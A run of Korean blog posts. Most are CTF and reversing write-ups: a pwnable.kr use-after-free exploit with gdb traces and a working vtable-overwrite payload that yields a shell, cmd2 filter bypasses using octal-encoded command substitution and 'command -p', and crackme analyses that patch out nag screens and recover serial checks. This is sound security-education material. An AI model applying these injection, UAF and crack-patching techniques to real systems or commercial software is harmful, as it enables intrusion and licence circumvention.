홈 폴더의 .config/user-dirs.locale 파일을 확인해보면

ko_KR 이라고 언어셋이 명시되어 있습니다.

이를 en_US 로 바꾸어주면 되는데요.

gedit vim emacs 좋을대로 사용하셔서 바꾸어 줍니다.

xdg-user-dirs-gtk-update

위 명령을 사용하여 발생한 윈도우에서

이름 변경이 목적이니 Update Names 를 선택해 주어

설정을 적용하여 주면 되겠습니다.

만약 변경 전, 폴더에 무언가 파일이 있었다면

특이한 이름의 폴더가 남습니다.

따라서 mv, cp 등을 이용해 모든 내용물을

새로운 폴더에 이전시켜 주신 후

삭제하여 주시면 되겠습니다.

Uaf 문제풀이

POSIX — Tue, 19 Feb 2019 12:19:35 +0900

Mommy, what is Use After Free bug?

ssh uaf@pwnable.kr -p2222 (pw:guest)

Toddler's Bottle 16번 문제

Use After Free 라는 메모리 참조

취약점을 다루는 문제입니다.

Use After Free 줄여서 UAF 취약점은

동일한 메모리 영역을 재할당하게 됨으로써 발생하는데요.

해제과정을 거친 메모리에 접근하게 되면

세그먼트 폴트 에러가 발생하는데

동일한 부분을 재할당하여 다른 데이터를 채워넣는 것으로

의도치 못한 동작을 야기할 수 있습니다.

#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;

class Human{
private:
        virtual void give_shell(){
                system("/bin/sh");
        }
protected:
        int age;
        string name;
public:
        virtual void introduce(){
                cout << "My name is " << name << endl;
                cout << "I am " << age << " years old" << endl;
        }
};

class Man: public Human{
public:
        Man(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a nice guy!" << endl;
        }
};

class Woman: public Human{
public:
        Woman(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a cute girl!" << endl;
        }
};

int main(int argc, char* argv[]){
        Human* m = new Man("Jack", 25);
        Human* w = new Woman("Jill", 21);

        size_t len;
        char* data;
        unsigned int op;
        while(1){
                cout << "1. use\n2. after\n3. free\n";
                cin >> op;

                switch(op){
                        case 1:
                                m->introduce();
                                w->introduce();
                                break;
                        case 2:
                                len = atoi(argv[1]);
                                data = new char[len];
                                read(open(argv[2], O_RDONLY), data, len);
                                cout << "your data is allocated" << endl;
                                break;
                        case 3:
                                delete m;
                                delete w;
                                break;
                        default:
                                break;
                }
        }

        return 0;
}

소스를 살펴보면

Human 클래스에서 상속받는

Man, Woman 클래스가 존재하고

Human 클래스 멤버함수 중에는

system 함수를 통해 쉘을 부여해주는

give_shell 함수가 존재합니다.

그리고 사용자 입력을 받아

자유롭게 use after free 과정을 수행할 수 있고

use 과정 내에서 멤버함수인

introduce를 호출하는데

이를 조작하여

give_shell 함수를 호출하도록 하면 되겠네요.

0x0000000000400fcd <+265>:   mov    rax,QWORD PTR [rbp-0x38]			    ; case 1
0x0000000000400fd1 <+269>:   mov    rax,QWORD PTR [rax]
0x0000000000400fd4 <+272>:   add    rax,0x8
0x0000000000400fd8 <+276>:   mov    rdx,QWORD PTR [rax]
0x0000000000400fdb <+279>:   mov    rax,QWORD PTR [rbp-0x38]
0x0000000000400fdf <+283>:   mov    rdi,rax
0x0000000000400fe2 <+286>:   call   rdx									; m->introduce()
0x0000000000400fe4 <+288>:   mov    rax,QWORD PTR [rbp-0x30]
0x0000000000400fe8 <+292>:   mov    rax,QWORD PTR [rax]
0x0000000000400feb <+295>:   add    rax,0x8
0x0000000000400fef <+299>:   mov    rdx,QWORD PTR [rax]
0x0000000000400ff2 <+302>:   mov    rax,QWORD PTR [rbp-0x30]
0x0000000000400ff6 <+306>:   mov    rdi,rax
0x0000000000400ff9 <+309>:   call   rdx									; w->introduce()
0x0000000000400ffb <+311>:   jmp    0x4010a9 <main+485>

gdb에서 어셈블리로 변환하여 살피면

rbp-0x38 에 저장된 주소에서

다시 저장된 주소를 이중으로 참조하여

주소에 8을 더하여 호출합니다.

주소를 가져오는 과정을

실제로 살펴보겠습니다.

(gdb) b *main+265
Breakpoint 1 at 0x400fcd
(gdb) r
Starting program: /home/uaf/uaf
1. use
2. after
3. free
1

Breakpoint 1, 0x0000000000400fcd in main ()
(gdb) x/a $rbp-0x38
0x7ffec6e7b388: 0x1391c50
(gdb) x/a 0x1391c50
0x1391c50:      0x401570 <_ZTV3Man+16>
(gdb) x/a 0x401570
0x401570 <_ZTV3Man+16>: 0x40117a <_ZN5Human10give_shellEv>
(gdb) x/a 0x401570 + 0x8
0x401578 <_ZTV3Man+24>: 0x4012d2 <_ZN3Man9introduceEv>

case 1 의 앞부분에 브레이크 포인트를 걸어준 후 이동해서

rbp-0x38 을 확인하니 0x1391c50 이 나왔고

다시 참조하니 0x401570 이 나왔습니다.

0x401570이 우리의 목표인 give_shell 함수 주소인데

거기에서 8을 더하여 호출하니

0x401578 내의 introduce 함수가 호출되는 것입니다.

0x401570 - 0x8 = 0x401568

8을 더하는 것은 확정된 사항이므로

참조 주소를 0x401570 에서 8을 뺀

0x401568 으로 변경해 주면 되겠습니다.

case 2:
		len = atoi(argv[1]);
		data = new char[len];
		read(open(argv[2], O_RDONLY), data, len);
		cout << "your data is allocated" << endl;
		break;

case 2 를 확인해보면

바이너리 실행시의 인자를 통해

할당할 메모리 크기와

내용을 읽어올 파일을 자유롭게

지정할 수 있도록 하고 있습니다.

python -c "print 'a'*500" > /tmp/input

b *main+65 		; new Man("Jack", 25)
b *main+154 		; new Woman("Jill", 21);
b *main+353 		; new char[len]

따라서 tmp 폴더 내의 편한 경로에

할당한 공간이라는 것을

구분할 수 있도록 적절히 내용을 저장해 두고

메모리를 할당하는 new 함수 수행 직후에

브레이크 포인트를 걸어

실제로 할당된 주소가 어디인지 확인할 수 있도록 했습니다.

(gdb) r 100 /tmp/input
Starting program: /home/uaf/uaf 100 /tmp/input

Breakpoint 1, 0x0000000000400f05 in main ()
(gdb) i r eax
eax            0xa40c50 10751056                            ; new Man

(gdb) c
Continuing.

Breakpoint 4, 0x0000000000400f63 in main ()
(gdb) i r eax
eax            0xa40ca0 10751136                            ; new Woman

(gdb) c
Continuing.

1. use
2. after
3. free
3
1. use
2. after
3. free
2

Breakpoint 2, 0x0000000000401025 in main ()
(gdb) i r eax
eax            0xa414e0 10753248                            ; new char[len]

메모리를 해제해 준 후

100 바이트의 메모리를 할당했는데

해제한 객체의 외부 주소가 할당되었습니다.

이런 경우, 할당 메모리 크기를 조금씩 조정해주면

직전 해제한 메모리 영역에 접근할 수 있습니다.

(gdb) r 24 /tmp/input
Starting program: /home/uaf/uaf 24 /tmp/input

Breakpoint 1, 0x0000000000400f05 in main ()
(gdb) i r eax
eax            0x246bc50        38190160

(gdb) c
Continuing.

Breakpoint 4, 0x0000000000400f63 in main ()
(gdb) i r eax
eax            0x246bca0        38190240

(gdb) c
Continuing.

1. use
2. after
3. free
3
1. use
2. after
3. free
2

Breakpoint 2, 0x0000000000401025 in main ()
(gdb) i r eax
eax            0x246bca0        38190240

(gdb) c
Continuing.

your data is allocated
1. use
2. after
3. free
2

Breakpoint 2, 0x0000000000401025 in main ()
(gdb) i r eax
eax            0x246bc50        38190160

확인 결과 24 바이트 이하의 메모리를 할당하면

해제된 w의 영역을 얻을 수 있었습니다.

그리고 재차 할당해주면

m의 영역을 가져옵니다.

uaf@ubuntu:~$ printf "\x68\x15\x40\x00" > /tmp/input
uaf@ubuntu:~$ ./uaf 4 /tmp/input
1. use
2. after
3. free
3
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
1
$ ls
flag  uaf  uaf.cpp
$ cat flag
###_####_#####_######

give_shell 함수의 주소에서 8을 뺀

0x00401568 주소로 덮어씌우고 introduce 를 호출하여

쉘을 얻어낼 수 있었습니다.

Lena's Reversing 10강 분석

POSIX — Thu, 14 Feb 2019 15:32:52 +0900

레나의 리버싱 10강 분석 포스팅입니다.

Lenas_Reversing_10.zip

바이너리는 이곳에서 받아보실 수 있는데

링크 사용이 되지 않는다면

위 첨부파일을 이용하시면 되겠습니다.

만약 프로그램 실행시에

MSVBVM50.DLL 관련 오류가 발생한다면

동봉된 프로그램을 사용하시기 바랍니다.

프로그램을 실행하면 Nag Screen 이라는 이름으로

알림 메시지가 하나 뜹니다.

모든 Nag(잔소리)를 제거하고

올바른 인증 코드를 찾아내라는 것인데요.

프로그램을 확인하면

Register me!와 Nag 2개의 버튼이 존재합니다.

첫번째 Register me! 버튼을 눌러보면

인증 키가 잘못되었다고 알려주는데요.

두번째 Nag 버튼을 눌러보면

처음에 나온 내용과 완전히 동일한 메시지가 등장합니다.

아무래도 이 알림을 Nag 라고 하는 것 같습니다.

따라서 문제가 요구하는 것은

첫번쨰로 인증키를 찾아 인증에 성공하고

Nag 버튼을 눌러도 알림창이

뜨지 않도록 하는 것이 되겠군요.

인증 함수의 빠른 탐색을 위해서

우클릭 > Search for > All referenced text strings

를 사용해, 참조 문자열들을 확인합니다.

그 중, 인증 실패시에 보였던

"Sorry! Wrong registration code!" 메시지가 보이니

더블클릭하여 주소를 따라가면 되겠습니다.

찾아낸 주소에서 위로 쭉 올려보면

베이스 포인터를 교환하는 전형적인

함수 시작 구문이 등장하는데요.

따라서 이 곳이 Register me! 의

클릭 이벤트 함수가 되겠습니다.

조금 내려가보면 호출되는 함수 중

vbaStrCmp 라는 함수가 눈에 띕니다.

실제 코드와, 사용자가 입력한 코드를 비교하는 데에

문자열 비교 함수가 들어가겠지요?

여기가 만약 코드 비교 함수라면

사용자 입력 코드와 실제 코드가

인자로 들어갈 것이라 생각해 볼 수 있습니다.

따라서 코드를 입력하고

버튼을 클릭해 다시금 함수를 호출해주면

확실히 코드를 인증하는 부분임이 확실한 것 같습니다.

그럼 비교대상 문자열인 "I'mlena151" 가

올바른 코드겠군요.

따라서 찾아낸 코드를 입력하고

인증 버튼을 눌러주면, 성공 메시지를 볼 수 있습니다.

Nag 알림 메시지를 제거할 차례입니다.

다시 참조 문자열을 확인합니다.

Nag 메시지의 제목이었던 "Nag Screen"

문자열을 따라가면

Nag 버튼의 클릭 이벤트 함수를 확인할 수 있습니다.

그리고 조금씩 내려가다보면

402CFE 에서 함수를 호출하고

Nag 메시지가 뜨는데요.

브레이크 포인트를 걸고 해당 주소로

들어가보면, rtcMsgBox 함수를 호출하고 있습니다.

따라서 여기가 에러 메시지를

호출하는 부분임을 알 수 있지요.

그럼 에러 메시지를 발생시키지 않으려면

어떻게 해야 할까요?

rtcMsgBox 만 호출되지 않는다면

메시지가 발생하지 않겠죠.

따라서 해당 호출문을 삭제해 주면 되는데

앞뒤 고려하지 않고 없애면

메시지야 당연히 안 나오겠지만, 오류가 발생하며

예기치 못한 동작을 야기할 것입니다.

따라서 직후에 vbaVarMove 함수를 호출하는 데에

EAX 값이 쓰인다는 것을 고려해

본래 rtcMsgBox 함수가 리턴했던 값을

수동으로 EAX에 넣어주면 되겠습니다.

확인결과 1을 리턴하고 있었으니

MOV 명령어를 이용해 EAX에 1을 넣어 주었습니다.

비주얼 베이직은 stdcall 호출규약을 따라

호출당하는 쪽이 스택을 정리하여 리턴합니다.

따라서 PUSH 2개 중, 1개를 POP 으로 변경하여

ESP 값에 변화가 없도록 해 주면

별 문제 없이 Nag 메시지가 발생하는 것을 막을 수 있습니다.

거슬러 올라가 함수의 발생을 원천적으로

막는 방법도 존재합니다.

함수의 첫 부분에서 바로 RETN 해주면

아무것도 실행되지 않은채로 함수가 끝나게 되는데

이 방법을 사용하려면

함수에 주어지는 인자의 크기를 알아야만 합니다.

만약 4바이트가 인자로 주어졌다면

RETN 4 와 같이 수정해 주면 되겠지요.

그런데 함수의 인자 개수를 어떻게 알 수 있을까요?

함수를 호출하면, 리턴시

돌아갈 주소를 스택에 보관하기 때문에

브레이크 포인트를 걸어주고

호출된 당시의 스택을 확인하면 됩니다.

위 사진을 보면

리턴 주소가 740DE5A9 라는 것을 알 수 있습니다.

해당 주소를 따라가보면 직전의

740DE5A9 주소에서 이벤트 함수를

호출했다는 것을 알 수 있습니다.

따라서 해당 줄에 브레이크 포인트를 걸어주고

호출되는 EAX 주소를 확인해 봅시다.

402649 주소가 호출되고 있군요.

해당 주소를 확인해 보면

ESP 에 영향을 주지 않은채로

바로 클릭 이벤트 함수로 점프합니다.

따라서 호출하기 직전, 직후에

모두 브레이크 포인트를 걸어주고

ESP 의 주소를 비교하면

인자의 크기를 알 수 있겠습니다.

호출된 후에, ESP 가 4만큼 줄었으므로

인자의 크기가 4바이트 라는 것을 알 수 있습니다.

따라서 함수의 시작 부분을

RETN 4 라고 변경해주면

깔끔하게 Nag 메시지를 제거할 수 있는 것입니다.

abex' crackme 2 분석

POSIX — Wed, 13 Feb 2019 18:46:41 +0900

crackme2.exe

abex' crackme 2번째 버전입니다.

포스팅을 매일 적어도 하나씩은 올리기로 했었는데

열심히 분석하다보니 이틀이 지나가버린거 있죠.

크게 어려운 문제는 아니지만

한줄한줄 분석하다보니

시간이 참 빨리갑니다.

프로그램을 실행해, About 버튼을 눌러보면

제작시기를 확인할 수 있습니다.

지금이 2019년이니.. 무려 19년이 넘었군요.

Check 버튼을 눌러 인증을 시도해보면

serial 값이 잘못되었다고 알려줍니다.

프로그램 내부에서 생성하는 시리얼 값을 찾아

입력해주면 되는 문제같습니다.

참고로 name이 3글자 이하가 되면

4글자 이상을 입력하라며 오류가 나타납니다.

올리디버거를 사용해 바이너리를 열어 보았습니다.

파란 배경으로 표시된 401238이 바로 EntryPoint 입니다.

먼저 PUSH를 통해 401E14를 스택에 넣고

JMP를 통해 바로 윗줄인 ThunRTMain이라는

함수를 호출하게 되는데요.

ThunRTMain은

비주얼 베이직 기반 프로그램에서 실행되는 함수로서

401E14 주소의 RT_MainStruct 구조체를 인자로 받아

프로그램 실행에 필요한 모든 정보를 얻습니다.

프로그램을 쭉 따라가다보면

윈도우를 생성하고는 Running 상태가 됩니다.

이벤트 기반 프로그래밍 언어의 특성이라고 할 수 있는데요.

윈도우 폼에 각각의 이벤트 리스너를 두는 것으로

이벤트가 발생하면 다시금 디버깅이 가능해집니다.

적절히 폼을 채워주고 Check 버튼을 클릭해주면

Check 버튼에 걸어두었던 이벤트 리스터가 동작하면서

함수로 진입하게 됩니다.

Check 버튼을 클릭해주면 등장하는 바로 이 녀석이

Check 버튼의 Click 이벤트 리스터 함수입니다.

앞으로 등장하는 이미지는

여러분이 보시는 화면과 조금 차이가 있을텐데

제가 일일히 코멘트를 붙여 두었기에

참고하여 이해하시면 분명 도움이 되리라 생각합니다.

아래로 조금 내려보면

MOV [EBP-XX], EDI 구문이 연속적으로 존재하는데

각각의 변수들을 초기화 하는 것으로

이를 참고해, 변수들의 주소값을 예측할 수 있습니다.

저는 구별하기 쉽게, 이름을 붙여 두었습니다.

RT_Var_Object:
+00 SizeOf(RT_Text_Object)
+04 Method1
+08 Data (length of string)
+0C etc (other values or methods)

RT_Text_Object:
+00 SizeOf(RT_Text_Object)
+04 Method1
+08 TextPointer
+0C etc (other values or methods)

각 변수들은 16바이트씩 공간을 차지하고 있는데요.

위와 같은 형식으로 되어 있다고 이해하시면 되겠습니다.

따라서 변수의 실제 데이터는 대부분

변수의 시작값이 아니라 +8인 주소에 들어 있습니다.

예를 들어 EBP-9C 메모리가 변수의 시작 부분이라면

실제의 텍스트 포인터나 정수값은

EBP-94 주소에 들어있는 것이지요.

천천히 실행해보면서, 흐름을 파악하는 것도 좋지만

우클릭 > Search for > All referenced text string

를 이용해 명령어에서 사용되는 참조 문자열을 확인하면

더욱 빠르게 찾아갈 수 있습니다.

“Error!” 문자열 주소에 접근하니

문자열 인자를 스택에 넣고

rtcMsgBox 함수를 호출하고 있네요.

name이 3글자 이하일때, 등장하는 부분인데요.

조금만 위로 올려보면

글자수를 점검하는 분기문이 나타납니다.

vbaLenVar(arg1, arg2) : 문자열 인자 arg2의 길이를 구해 arg1에 저장합니다.

vbaLenVar 함수를 통해

텍스트 변수 EBP-74 의 문자열 길이를

변수 EBP-9C 에 넣어주고 있습니다.

vbaVarTstLt(arg1, arg2) : arg1 < arg2 이면 0, 그렇지 않으면 FFFFFF을 리턴합니다.

그리고 변수 EBP-DC 에 4를 대입하고

vbaVarTstLt 함수를 사용해

EBP-9C 가 4보다 작은지 확인하고 있군요.

따라서 입력한 name의 값이

4보다 작으면 FFFFFF를 리턴하게 됩니다.

TEST 명령어는 AND 연산을 수행하므로

만약 AX 가 0이라면 ZF(ZeroFlag)가 1로 세팅되어

JE 명령어를 수행하게 됩니다.

하지만 4보다 작으면 EAX는 FFFFFF가 됩니다.

따라서 ZF 는 0이 되므로 JE 명령어를 수행하지 않고

그대로 통과하여 에러 메시지를 출력하게 됩니다.

조금 스크롤을 올려보면

402F78 에서 텍스트박스 폼을 먼저 가져온 후에

name 값을 불러오고 있습니다.

vbaVarMove() : EDX의 변수를 ECX로 복사합니다.

vbaVarMove 로 임시변수에서 자원을 복사한 다음

vbaVarFree() : ECX 주소의 자원을 해제합니다.

필요를 다한 자원을 vbaFreeObj 로 해제해 주네요.

조금 내려오면 아까 보았던 부분이죠?

vbaLenVar 를 통해 EBP-74 의 문자열 길이를

EBP-9C 에 대입하고

EBP-DC 에 4 값을 넣어 vbaVarTstLt 로

대소를 비교하고 있습니다.

Lt로 끝나는 vbaVarTstLt 함수는

비주얼 베이직에서의

관계연산자 < (less than)을 의미하는데요.

마찬가지로

vbaVarTstLe <= (less than or equal)

vbaVarTstGt > (greater than)

vbaVarTstGe >= (greater than or equal)

vbaVarTstEq == (equal)

vbaVarTstNe != (not equal)

등의 함수를 사용해 비교할 수도 있습니다.

글자수가 4글자 이상이라면 403026 에서

4030F9 로 점프하게 됩니다.

그런데 여길 보면 어쩐지 익숙한 모양새이죠?

점프하기 전과 동일하게

name의 글자수 조건을 확인하여 분기하고 있습니다.

만약 글자수가 3글자 이하라면

403130 에서 다시한번 점프하게 됩니다.

점프하는 곳을 확인해 보니

클릭 이벤트 리스너 함수의 끝 부분이네요.

종료하기 전

모든 자원을 해제하고 있습니다.

따라서 글자가 3글자 이하이면

오류메시지를 출력하고

곧바로 함수를 종료하게 되겠군요.

만약 3글자를 넘는다면 어떨까요?

403130 의 점프문을 넘기고

변수 여섯개를 스택에 넣어 6개 인자로

vbaVarForInit 함수를 호출하고 있습니다.

For i = 1 To 10 Step 1
	...
Next

비주얼 베이직에는

위처럼 For ... Next 라는 반복 구문이 존재하는데요.

vbaVarForInit 와 대응됩니다.

vbaVarForInit(arg1, arg2, arg3, first_loop_index, last_loop_index, loop_step)

몇번 돌려가면서 디버깅 해본 결과

4~6 번째 인자는 각각 루프 인덱스에 대한

최초값, 최후값, 증가값으로 되어 있었습니다.

루프 인덱스의 증감에 대한 관리는

반복문 내에서 수행하는 것이 아니라

vbaVarForNext 함수에서 수행하여 주고 있습니다.

다만 루프 인덱스는 4바이트로 관리되며

ForVarForInit 수행 직후에

상위 바이트에 0071과 같은 값이 들어가는데

무슨 역할을 하는 것인지는 알아낼 수 없었습니다.

vbaVarForNext(loop_index, first_loop_index, last_loop_index) : loop_index >= last_loop_index이면 EAX = 0

만약 반복문이 끝났다고 여겨지면

EAX에 0 값을 넣어 리턴하는 것이지요.

그럼 403197 의 TEST EAX, EAX 에서

ZF(Zero Flag) 가 세워지고 직후 점프하여

반복문에서 빠져나가게 됩니다.

이제 반복문 내부를 한번 살펴볼까요?

vbaI4Var(arg1, arg2): arg2의 하위 4바이트 정수값을 EAX에 저장합니다.

vbaI4Var 함수를 통해 EAX에 EBP-24 변수의

하위 4바이트 값을 저장하고 있습니다.

따라서 EAX에는 루프 인덱스의 값이 들어가게 되는 것이죠.

추가로 1값을 가진 EBP-9C 변수도 인자로 받지만

무슨 역할을 하는 것인지는 알 수 없었습니다.

rtcMidCharVar(arg1, arg2, arg3) : arg2의 arg3번째 문자열을 arg1에 저장합니다.

가져온 루프 인덱스의 값과

입력한 name 문자열을 인자로 하여

name의 N번째 문자열을

새로운 변수에 저장하고 있습니다.

만약 루프 인덱스가 1이고

name 문자열이 abcde 라면

a 를 리턴하게 되는 것이죠.

그 값을 다른 변수에 옮겨담아 준 후

임시변수의 자원은 즉시 해제해주고 있네요.

vbaStrVarVal(arg1, arg2) : arg1 문자의 포인터를 리턴합니다.

vbaStrVarVal 함수는

vbsMidCharVar 함수를 통해 가져온 문자열의 주소

즉 name의 N번째 문자의 포인터를

EAX에 넣어줍니다.

rtcAnsiValueBstr(arg1) : arg1 문자의 아스키코드 값을 리턴합니다.

그리고 rtcAnsiValueBstr 은 EAX 주소의

HEX값을 다시 EAX에 넣어주죠.

따라서 name의 루프인덱스 N번째 문자가 a 였다면

0x61값을 EAX에 저장해 줍니다.

EBP-54 에 그 값을 저장하고

임시자원은 즉시 해제해 주는 모습입니다.

vbaVarAdd(arg1, arg2, arg3) : arg2와 arg3의 값을 더하여 arg1에 저장합니다.

EBP-DC에 64를 넣어 준 후

아스키코드 값을 저장한 EBP-DC와 더하여

EBP-9C에 저장하고 있습니다.

결론적으로 (N번째 문자의 아스키 값) + 64 를

EBP-9C에 저장하고 있네요.

rtcHexVarFromVar(arg1, arg2) : arg2의 HEX값을 arg1에 문자열로 저장합니다.

그리고 EBP-54 로 다시 옮겨담아서

rtcHexVarFromVar 함수를 통해 EBP-9C에

HEX 문자열을 저장하고 있습니다.

vbaVarCat(arg1, arg2, arg3) : 문자열 arg3, arg2를 붙여, arg1에 저장합니다.

문자열을 다시 EBP-54에 옮겨주고

vbaVarCat 함수를 사용하여

기존 문자열과 붙여주고 있군요.

루프를 돌며 생성된 HEX 문자열들을

하나씩 합쳐주는 것이지요.

이렇게 루프를 네바퀴 돌아주면

암호문은 완성이 되어 EBP-9C에 저장된 상태가 됩니다.

이제 완성된 암호와 사용자가 입력한 암호가

동일한지 확인하기 위해

시리얼 텍스트 박스에서 문자열을 가져와줍니다.

만약 텍스트 박스에서 문자열을 가져오는 중에

오류가 발생하면 0이 아닌 값을 리턴하는데

그러면 4032D5에서 점프하지 못해

4032E3의 vbaHresultCheckObj 함수를

호출하게 됩니다.

이전 name 텍스트 박스에서 문자열을

가져왔을 때에도 동일하게 존재했던 부분이죠.

vbaVarTstEq(arg1, arg2) : arg1와 arg2가 같으면 FFFFFF, 그렇지 않으면 0을 리턴합니다.

403329에서 vbaVarTstEq를 통해

생성된 시리얼과 입력한 시리얼이 일치하는지 점검합니다.

만약 일치하지 않으면 403332에서 점프하여

오류 메시지를 출력하고 종료하게 됩니다.

비교문을 보면

연속된 EBP-44 와 EBP-34 변수의 값을

인자로 받고 있습니다.

따라서 입력한 name의 첫 4글자를 사용하여

시리얼을 생성하는 성질에 의해

같은 name에는 항상 같은 시리얼 값이 나오므로

디버깅을 통해 생성되는 값을 확인하면

쉽게 문제를 해결할 수도 있겠습니다.

물론 반복문을 상세히 분석하여

암호문을 생성하는 알고리즘을 파악했다면

그렇지 않고 직접 계산해내는 것도 좋습니다.

시리얼이 일치하지 않을시 점프하는 부분입니다.

메시지에 들어갈 문자열 변수들을 인자로 하여

rtcMsgBox를 통해 메시지를 표시합니다.

만약에 시리얼이 일치한다면

점프하지 않고 바로 아래로 내려가

성공 메시지를 출력하고

vbaVarTstNe를 통해 다시한번 시리얼을 검사하여

만약 일치하면 4034F1 주소로 점프하는데

자원을 정리하고 함수를 바로 종료하게 됩니다.

crackme2.zip

주석을 작성해 파일로 첨부하였으니

분석에 참고하시면 좋겠습니다.

이상으로 abex' crackme 2

분석 포스팅이였습니다.

abex' crackme 1 분석

POSIX — Mon, 11 Feb 2019 20:20:54 +0900

가장 유명한 Crackme

abex' crackme 포스팅입니다.

abexcm1.exe

원 출처는 이곳이나

정상적으로 작동하지 않으니

바이너리가 없으신 분들은

첨부한 파일을 사용하시면 되겠습니다.

프로그램을 실행하면

먼저 위와 같은 메시지를 확인하실 수 있습니다.

HD를 CD-ROM으로 생각하게끔 하라고 하네요.

여기서 HD는 HDD를 의미합니다.

창을 종료하면, 두번째 메시지가 나타납니다.

HD가 CD-ROM으로 인식되지 못했다는 의미인데요.

프로그램이 HD를 어떻게 CD-ROM으로

판단하는지 기준을 찾아

문제를 해결하면 되겠습니다.

ollydbg로 바이너리를 열어 확인하면

아주 짧은 어셈블리 소스를 확인할 수 있습니다.

상용 컴파일러 특유의

stub code가 존재하지 않는 것으로 보아

처음부터 어셈블리어로 작성했다는 것을

알 수 있는데요.

덕분에 8KB의 작은 용량을 가집니다

MessageBoxA 함수를 호출하기 전에

PUSH 명령어를 호출하고 있는데요.

PUSH 명령어에 사용된 값은

호출되는 함수의 인자값으로 사용됩니다.

더하여, 0x401024 에서 CMP 명령어로

EAX와 ESI 레지스터의 값이 동일한지 검증한 후

JE 명령어를 통해

0x40103D 주소로 이동하는 것을 확인할 수 있습니다.

만약 동일하지 못하다면

실패 메시지를 출력한 후

0x40103B 에서 JMP 명령어를 통해

즉시 프로그램을 종료합니다.

그럼 EAX와 ESI 레지스터의 값은 어디서 오는 것일까요?

답은 GetDriveTypeA 함수에 있는데요.

WINAPI 의 함수는 EAX 레지스터에 리턴값을 저장합니다.

따라서 EAX 의 값은 바로 직전에 실행되었던

GetDriveTypeA 함수의 리턴값이 되는 것입니다.

GetDriveTypeA 함수의 리턴값입니다.

일반적인 하드디스크라면 DRIVE_FIXED(3)이 되며

CD-ROM이라면 DRIVE_CDROM(5)을 돌려주겠군요.

ESI 값은 프로그램 실행시에

0으로 초기화 된 상태 그대로입니다.

MessageBoxA(NULL, "Make me think your HD is a CD-Rom.", "abex' first crackme", MB_OK|MB_APPLMODAL)
$EAX = GetDriveTypeA('C:\\')

$ESI++
$EAX--
$ESI++
$ESI++
$EAX--

if ($EAX == $ESI) {
	MessageBoxA(NULL, "Nah... This is not a CD-ROM Drive!", "Error", MB_OK|MB_APPLMODAL)
} else {
	MessageBoxA(NULL, "Ok, I really think that your HD is a CD-ROM! :p", "YEAH!", MB_OK|MB_APPLMODAL)
}

어셈블리를 보고 작성한 의사코드입니다.

특이상황이 아니라면 GetDriveTypeA는3을 반환할 것이고

DEC 명령어를 두번 수행했으니 EAX 값은 1이 되겠군요.

ESI는 초기 0에서 INC 명령어를 세번 수행했으니 3입니다.

따라서 조건식을 만족하지 못하고

에러메시지만 출력한 채로 종료합니다.

저는 CMP 의 인자를 수정해

참이 나오도록 하여 문제를 해결했는데요.

이를 수정하는 방법은 참 많습니다.

쓸모없는 0x40101F 의 코드를 수정하여

EAX의 값을 바꾸어도 좋고

0x401026 을 JMP로 수정하여 무조건으로

성공메시지를 보일 수도 있을 것입니다.

하지만, 최선의 방법은

최소한의 수정으로 프로그램 내부 루틴에

영향을 줄이는 것이겠지요?

Cmd2 문제풀이

POSIX — Mon, 11 Feb 2019 16:25:14 +0900

Daddy bought me a system command shell.
but he put some filters to prevent me from playing with it without his permission...
but I wanna play anytime I want!

ssh cmd2@pwnable.kr -p2222 (pw:flag of cmd1)

Toddler's Bottle 15번 문제

직전 cmd1 문제의 발전형입니다.

#include <stdio.h>
#include <string.h>

int filter(char* cmd){
        int r=0;
        r += strstr(cmd, "=")!=0;
        r += strstr(cmd, "PATH")!=0;
        r += strstr(cmd, "export")!=0;
        r += strstr(cmd, "/")!=0;
        r += strstr(cmd, "`")!=0;
        r += strstr(cmd, "flag")!=0;
        return r;
}

extern char** environ;
void delete_env(){
        char** p;
        for(p=environ; *p; p++) memset(*p, 0, strlen(*p));
}

int main(int argc, char* argv[], char** envp){
        delete_env();
        putenv("PATH=/no_command_execution_until_you_become_a_hacker");
        if(filter(argv[1])) return 0;
        printf("%s\n", argv[1]);
        system( argv[1] );
        return 0;
}

cmd1의 코드와 유사하지만

PATH 이외의 모든 환경변수를 제거되며

필터링 어구들이 몇 추가 되었습니다.

cmd2@ubuntu:~$ ./cmd2 "expor''t"
expor''t
export PATH='/no_command_execution_until_you_become_a_hacker'
export PWD='/home/cmd2'

따라서 환경변수를 보면

자동으로 생성되는 PWD와

PATH 둘 뿐인 것을

확인할 수 있습니다.

−p    Perform the command search using a default value for PATH
      that is guaranteed to find all of the standard utilities.

이 문제의 해결법 중 하나로는 본쉘의

빌트인 커맨드 command 를 들 수 있습니다.

명령어를 실행하는 명령

command는

-p 옵션을 사용하면

환경변수를 기본 정보로 초기화 합니다.

command -p cat fl*
command -p cat fl''ag

따라서 flag 필터링을 우회한

위 방법으로 간단하게 해결할 수 있습니다.

>>> s='/bin/cat flag'
>>> print( ''.join( '\\' + str(oct(ord(c))) for c in s ) )
\057\0142\0151\0156\057\0143\0141\0164\040\0146\0154\0141\0147

cmd2@ubuntu:~$ ./cmd2 '$(echo "\057\0142\0151\0156\057\0143\0141\0164\040\0146\0154\0141\0147")'

이외에도 $( ) 문법으로

8진수로 인코딩된 텍스트를 변환해

명령어를 실행시킬 수 있습니다.

cmd2@ubuntu:~$ ./cmd2 '$(echo "\057")bin$(echo "\057")bash'
$(echo "\057")bin$(echo "\057")bash
bash-4.3$

같은 방법으로 서브쉘에 접근하는 것 또한 가능합니다.

read a; $a

명령행 인자가 아닌 STDIN을 통해

명령어를 입력받아 실행시키는 방법도 존재합니다.

set -s

같은 방법으로 set -s 명령어가 존재하는데

본쉘의 빌트인 명령어인 set은

-s 옵션을 사용하여 STDIN에서

입력을 받아 명령어를 실행할 수 있습니다.

Bash에서는 해당 옵션이 존재하지 않으므로

오직 Sh에서만 사용가능한 방법입니다.

참조문서

https://mandu-mandu.tistory.com/84

https://koyo.kr/post/pwnable-kr-cmd2/

https://xerxes-break.tistory.com/321

Cmd1 문제풀이

POSIX — Sun, 10 Feb 2019 10:16:29 +0900

Mommy! what is PATH environment in Linux?

ssh cmd1@pwnable.kr -p2222 (pw:guest)

Toddler's Bottle 14번 문제

PATH 환경변수에 관한 문제입니다.

#include <stdio.h>
#include <string.h>

